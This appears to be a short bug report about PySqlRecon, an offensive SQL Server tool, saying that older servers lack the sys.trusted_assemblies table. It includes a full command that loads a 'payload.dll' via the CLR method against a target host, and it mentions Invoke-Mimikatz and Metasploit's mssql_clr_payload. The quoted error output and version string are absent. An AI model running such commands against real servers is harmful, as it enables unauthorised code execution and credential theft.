Issue with older SQL server installations

[Invoke-Mimikatz]

It seems like older SQL servers do not have the sys.trusted_assemblies table. I get the following error when running PySqlRecon with the clr method against a Server 2016 server:

$ pysqlrecon --target 10.11.1.1 --username user --domain DOMAIN --debug --no-pass clr --dll payload.dll --function Run

The full SQL version:

This error does not happen in other SQL stored procedure loaders, such as Metasploit's mssql_clr_payload
